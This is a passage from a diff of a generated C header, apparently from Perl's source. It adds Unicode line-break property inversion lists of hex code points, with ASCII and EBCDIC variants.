 	0xFB1F,
@@ -73100,72 +286315,223 @@
 	0xFB43,
 	0xFB45,
 	0xFB46,
-	0xFB50,
-	0xFD3E,
-	0xFD3F,
-	0xFD40,
-	0xFDFC,
-	0xFDFD,
-	0xFE00,
-	0xFE10,
-	0xFE11,
-	0xFE13,
-	0xFE15,
-	0xFE17,
-	0xFE18,
-	0xFE19,
-	0xFE1A,
-	0xFE20,
+	0xFB50
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__HY_invlist[] = { /* for ASCII/Latin1 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2D,
+	0x2E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__HY_invlist[] = { /* for EBCDIC 1047 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x60,
+	0x61
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__HY_invlist[] = { /* for EBCDIC 037 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x60,
+	0x61
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_LB__ID_invlist[] = { /* for all charsets */
+	321,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x231A,
+	0x231C,
+	0x23F0,
+	0x23F4,
+	0x2600,
+	0x2604,
+	0x2614,
+	0x2616,
+	0x2618,
+	0x2619,
+	0x261A,
+	0x261D,
+	0x261E,
+	0x2620,
+	0x2639,
+	0x263C,
+	0x2668,
+	0x2669,
+	0x267F,
+	0x2680,
+	0x26BD,
+	0x26C9,
+	0x26CD,
+	0x26CE,
+	0x26CF,
+	0x26D2,
+	0x26D3,
+	0x26D5,
+	0x26D8,
+	0x26DA,
+	0x26DC,
+	0x26DD,
+	0x26DF,
+	0x26E2,
+	0x26EA,
+	0x26EB,
+	0x26F1,
+	0x26F6,
+	0x26F7,
+	0x26F9,
+	0x26FA,
+	0x26FB,
+	0x26FD,
+	0x2705,
+	0x2708,
+	0x270A,
+	0x2764,
+	0x2765,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3003,
+	0x3005,
+	0x3006,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x302A,
+	0x3030,
+	0x3035,
+	0x3036,
+	0x303B,
+	0x303D,
+	0x3040,
+	0x3042,
+	0x3043,
+	0x3044,
+	0x3045,
+	0x3046,
+	0x3047,
+	0x3048,
+	0x3049,
+	0x304A,
+	0x3063,
+	0x3064,
+	0x3083,
+	0x3084,
+	0x3085,
+	0x3086,
+	0x3087,
+	0x3088,
+	0x308E,
+	0x308F,
+	0x3095,
+	0x309F,
+	0x30A0,
+	0x30A2,
+	0x30A3,
+	0x30A4,
+	0x30A5,
+	0x30A6,
+	0x30A7,
+	0x30A8,
+	0x30A9,
+	0x30AA,
+	0x30C3,
+	0x30C4,
+	0x30E3,
+	0x30E4,
+	0x30E5,
+	0x30E6,
+	0x30E7,
+	0x30E8,
+	0x30EE,
+	0x30EF,
+	0x30F5,
+	0x30F7,
+	0x30FB,
+	0x30FF,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x32FF,
+	0x3300,
+	0x4DC0,
+	0x4E00,
+	0xA015,
+	0xA016,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xF900,
+	0xFB00,
 	0xFE30,
 	0xFE35,
-	0xFE36,
-	0xFE37,
-	0xFE38,
-	0xFE39,
-	0xFE3A,
-	0xFE3B,
-	0xFE3C,
-	0xFE3D,
-	0xFE3E,
-	0xFE3F,
-	0xFE40,
-	0xFE41,
-	0xFE42,
-	0xFE43,
-	0xFE44,
 	0xFE45,
 	0xFE47,
-	0xFE48,
 	0xFE49,
 	0xFE50,
 	0xFE51,
 	0xFE52,
-	0xFE53,
-	0xFE54,
-	0xFE56,
 	0xFE58,
 	0xFE59,
-	0xFE5A,
-	0xFE5B,
-	0xFE5C,
-	0xFE5D,
-	0xFE5E,
 	0xFE5F,
 	0xFE67,
 	0xFE68,
 	0xFE69,
-	0xFE6A,
 	0xFE6B,
 	0xFE6C,
-	0xFEFF,
-	0xFF00,
-	0xFF01,
 	0xFF02,
 	0xFF04,
-	0xFF05,
 	0xFF06,
 	0xFF08,
-	0xFF09,
 	0xFF0A,
 	0xFF0C,
 	0xFF0D,
@@ -73184,10 +286550,6 @@
 	0xFF5D,
 	0xFF5E,
 	0xFF5F,
-	0xFF60,
-	0xFF62,
-	0xFF63,
-	0xFF65,
 	0xFF66,
 	0xFF67,
 	0xFF71,
@@ -73202,251 +286564,3093 @@
 	0xFFD8,
 	0xFFDA,
 	0xFFDD,
+	0xFFE2,
+	0xFFE5,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1F000,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F200,
+	0x1F385,
+	0x1F386,
+	0x1F39C,
+	0x1F39E,
+	0x1F3B5,
+	0x1F3B7,
+	0x1F3BC,
+	0x1F3BD,
+	0x1F3C2,
+	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
+	0x1F3CA,
+	0x1F3CD,
+	0x1F3FB,
+	0x1F400,
+	0x1F442,
+	0x1F444,
+	0x1F446,
+	0x1F451,
+	0x1F466,
+	0x1F46A,
+	0x1F46E,
+	0x1F46F,
+	0x1F470,
+	0x1F479,
+	0x1F47C,
+	0x1F47D,
+	0x1F481,
+	0x1F484,
+	0x1F485,
+	0x1F488,
+	0x1F4A0,
+	0x1F4A1,
+	0x1F4A2,
+	0x1F4A3,
+	0x1F4A4,
+	0x1F4A5,
+	0x1F4AA,
+	0x1F4AB,
+	0x1F4AF,
+	0x1F4B0,
+	0x1F4B1,
+	0x1F4B3,
+	0x1F500,
+	0x1F507,
+	0x1F517,
+	0x1F525,
+	0x1F532,
+	0x1F54A,
+	0x1F574,
+	0x1F576,
+	0x1F57A,
+	0x1F57B,
+	0x1F590,
+	0x1F591,
+	0x1F595,
+	0x1F597,
+	0x1F5D4,
+	0x1F5DC,
+	0x1F5F4,
+	0x1F5FA,
+	0x1F645,
+	0x1F648,
+	0x1F64B,
+	0x1F680,
+	0x1F6A3,
+	0x1F6A4,
+	0x1F6B4,
+	0x1F6B7,
+	0x1F6C0,
+	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F918,
+	0x1F91D,
+	0x1F91E,
+	0x1F920,
+	0x1F926,
+	0x1F927,
+	0x1F930,
+	0x1F93A,
+	0x1F93D,
+	0x1F93F,
+	0x1F9D1,
+	0x1F9DE,
+	0x1FFFE,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE
+};
+
+static const UV PL_LB__IN_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2024,
+	0x2027,
+	0x22EF,
+	0x22F0,
+	0xFE19,
+	0xFE1A,
+	0x10AF6,
+	0x10AF7
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__IS_invlist[] = { /* for ASCII/Latin1 */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2C,
+	0x2D,
+	0x2E,
+	0x2F,
+	0x3A,
+	0x3C,
+	0x37E,
+	0x37F,
+	0x589,
+	0x58A,
+	0x60C,
+	0x60E,
+	0x7F8,
+	0x7F9,
+	0x2044,
+	0x2045,
+	0xFE10,
+	0xFE11,
+	0xFE13,
+	0xFE15
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__IS_invlist[] = { /* for EBCDIC 1047 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x5E,
+	0x5F,
+	0x6B,
+	0x6C,
+	0x7A,
+	0x7B,
+	0x37E,
+	0x37F,
+	0x589,
+	0x58A,
+	0x60C,
+	0x60E,
+	0x7F8,
+	0x7F9,
+	0x2044,
+	0x2045,
+	0xFE10,
+	0xFE11,
+	0xFE13,
+	0xFE15
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__IS_invlist[] = { /* for EBCDIC 037 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x5E,
+	0x5F,
+	0x6B,
+	0x6C,
+	0x7A,
+	0x7B,
+	0x37E,
+	0x37F,
+	0x589,
+	0x58A,
+	0x60C,
+	0x60E,
+	0x7F8,
+	0x7F9,
+	0x2044,
+	0x2045,
+	0xFE10,
+	0xFE11,
+	0xFE13,
+	0xFE15
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__LF_invlist[] = { /* for ASCII/Latin1 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA,
+	0xB
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__LF_invlist[] = { /* for EBCDIC 1047 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x15,
+	0x16
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__LF_invlist[] = { /* for EBCDIC 037 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x25,
+	0x26
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__NL_invlist[] = { /* for ASCII/Latin1 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x85,
+	0x86
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__NL_invlist[] = { /* for EBCDIC 1047 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x25,
+	0x26
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__NL_invlist[] = { /* for EBCDIC 037 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x15,
+	0x16
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_LB__NS_invlist[] = { /* for all charsets */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x17D6,
+	0x17D7,
+	0x203C,
+	0x203E,
+	0x2047,
+	0x204A,
+	0x3005,
+	0x3006,
+	0x301C,
+	0x301D,
+	0x303B,
+	0x303D,
+	0x309B,
+	0x309F,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x30FD,
+	0x30FF,
+	0xA015,
+	0xA016,
+	0xFE54,
+	0xFE56,
+	0xFF1A,
+	0xFF1C,
+	0xFF65,
+	0xFF66,
+	0xFF9E,
+	0xFFA0,
+	0x16FE0,
+	0x16FE2,
+	0x1F679,
+	0x1F67C
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__NU_invlist[] = { /* for ASCII/Latin1 */
+	111,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x30,
+	0x3A,
+	0x660,
+	0x66A,
+	0x66B,
+	0x66D,
+	0x6F0,
+	0x6FA,
+	0x7C0,
+	0x7CA,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xBE6,
+	0xBF0,
+	0xC66,
+	0xC70,
+	0xCE6,
+	0xCF0,
+	0xD66,
+	0xD70,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF2A,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x17E0,
+	0x17EA,
+	0x1810,
+	0x181A,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DA,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0x1C50,
+	0x1C5A,
+	0xA620,
+	0xA62A,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0x104A0,
+	0x104AA,
+	0x11066,
+	0x11070,
+	0x110F0,
+	0x110FA,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173A,
+	0x118E0,
+	0x118EA,
+	0x11C50,
+	0x11C5A,
+	0x11D50,
+	0x11D5A,
+	0x16A60,
+	0x16A6A,
+	0x16B50,
+	0x16B5A,
+	0x1D7CE,
+	0x1D800,
+	0x1E950,
+	0x1E95A
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__NU_invlist[] = { /* for EBCDIC 1047 */
+	111,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF0,
+	0xFA,
+	0x660,
+	0x66A,
+	0x66B,
+	0x66D,
+	0x6F0,
+	0x6FA,
+	0x7C0,
+	0x7CA,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xBE6,
+	0xBF0,
+	0xC66,
+	0xC70,
+	0xCE6,
+	0xCF0,
+	0xD66,
+	0xD70,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF2A,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x17E0,
+	0x17EA,
+	0x1810,
+	0x181A,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DA,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0x1C50,
+	0x1C5A,
+	0xA620,
+	0xA62A,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0x104A0,
+	0x104AA,
+	0x11066,
+	0x11070,
+	0x110F0,
+	0x110FA,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173A,
+	0x118E0,
+	0x118EA,
+	0x11C50,
+	0x11C5A,
+	0x11D50,
+	0x11D5A,
+	0x16A60,
+	0x16A6A,
+	0x16B50,
+	0x16B5A,
+	0x1D7CE,
+	0x1D800,
+	0x1E950,
+	0x1E95A
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__NU_invlist[] = { /* for EBCDIC 037 */
+	111,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF0,
+	0xFA,
+	0x660,
+	0x66A,
+	0x66B,
+	0x66D,
+	0x6F0,
+	0x6FA,
+	0x7C0,
+	0x7CA,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xBE6,
+	0xBF0,
+	0xC66,
+	0xC70,
+	0xCE6,
+	0xCF0,
+	0xD66,
+	0xD70,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF2A,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x17E0,
+	0x17EA,
+	0x1810,
+	0x181A,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DA,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0x1C50,
+	0x1C5A,
+	0xA620,
+	0xA62A,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0x104A0,
+	0x104AA,
+	0x11066,
+	0x11070,
+	0x110F0,
+	0x110FA,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173A,
+	0x118E0,
+	0x118EA,
+	0x11C50,
+	0x11C5A,
+	0x11D50,
+	0x11D5A,
+	0x16A60,
+	0x16A6A,
+	0x16B50,
+	0x16B5A,
+	0x1D7CE,
+	0x1D800,
+	0x1E950,
+	0x1E95A
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__OP_invlist[] = { /* for ASCII/Latin1 */
+	169,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x28,
+	0x29,
+	0x5B,
+	0x5C,
+	0x7B,
+	0x7C,
+	0xA1,
+	0xA2,
+	0xBF,
+	0xC0,
+	0xF3A,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0x169B,
+	0x169C,
+	0x201A,
+	0x201B,
+	0x201E,
+	0x201F,
+	0x2045,
+	0x2046,
+	0x207D,
+	0x207E,
+	0x208D,
+	0x208E,
+	0x2308,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x2329,
+	0x232A,
+	0x2768,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x27C5,
+	0x27C6,
+	0x27E6,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x2983,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x29D8,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29FC,
+	0x29FD,
+	0x2E18,
+	0x2E19,
+	0x2E22,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E42,
+	0x2E43,
+	0x3008,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3014,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301D,
+	0x301E,
+	0xFD3F,
+	0xFD40,
+	0xFE17,
+	0xFE18,
+	0xFE35,
+	0xFE36,
+	0xFE37,
+	0xFE38,
+	0xFE39,
+	0xFE3A,
+	0xFE3B,
+	0xFE3C,
+	0xFE3D,
+	0xFE3E,
+	0xFE3F,
+	0xFE40,
+	0xFE41,
+	0xFE42,
+	0xFE43,
+	0xFE44,
+	0xFE47,
+	0xFE48,
+	0xFE59,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFF08,
+	0xFF09,
+	0xFF3B,
+	0xFF3C,
+	0xFF5B,
+	0xFF5C,
+	0xFF5F,
+	0xFF60,
+	0xFF62,
+	0xFF63,
+	0x13258,
+	0x1325B,
+	0x13286,
+	0x13287,
+	0x13288,
+	0x13289,
+	0x13379,
+	0x1337A,
+	0x145CE,
+	0x145CF,
+	0x1E95E,
+	0x1E960
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__OP_invlist[] = { /* for EBCDIC 1047 */
+	167,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4D,
+	0x4E,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xC0,
+	0xC1,
+	0xF3A,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0x169B,
+	0x169C,
+	0x201A,
+	0x201B,
+	0x201E,
+	0x201F,
+	0x2045,
+	0x2046,
+	0x207D,
+	0x207E,
+	0x208D,
+	0x208E,
+	0x2308,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x2329,
+	0x232A,
+	0x2768,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x27C5,
+	0x27C6,
+	0x27E6,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x2983,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x29D8,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29FC,
+	0x29FD,
+	0x2E18,
+	0x2E19,
+	0x2E22,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E42,
+	0x2E43,
+	0x3008,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3014,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301D,
+	0x301E,
+	0xFD3F,
+	0xFD40,
+	0xFE17,
+	0xFE18,
+	0xFE35,
+	0xFE36,
+	0xFE37,
+	0xFE38,
+	0xFE39,
+	0xFE3A,
+	0xFE3B,
+	0xFE3C,
+	0xFE3D,
+	0xFE3E,
+	0xFE3F,
+	0xFE40,
+	0xFE41,
+	0xFE42,
+	0xFE43,
+	0xFE44,
+	0xFE47,
+	0xFE48,
+	0xFE59,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFF08,
+	0xFF09,
+	0xFF3B,
+	0xFF3C,
+	0xFF5B,
+	0xFF5C,
+	0xFF5F,
+	0xFF60,
+	0xFF62,
+	0xFF63,
+	0x13258,
+	0x1325B,
+	0x13286,
+	0x13287,
+	0x13288,
+	0x13289,
+	0x13379,
+	0x1337A,
+	0x145CE,
+	0x145CF,
+	0x1E95E,
+	0x1E960
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__OP_invlist[] = { /* for EBCDIC 037 */
+	167,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4D,
+	0x4E,
+	0xAA,
+	0xAC,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xC1,
+	0xF3A,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0x169B,
+	0x169C,
+	0x201A,
+	0x201B,
+	0x201E,
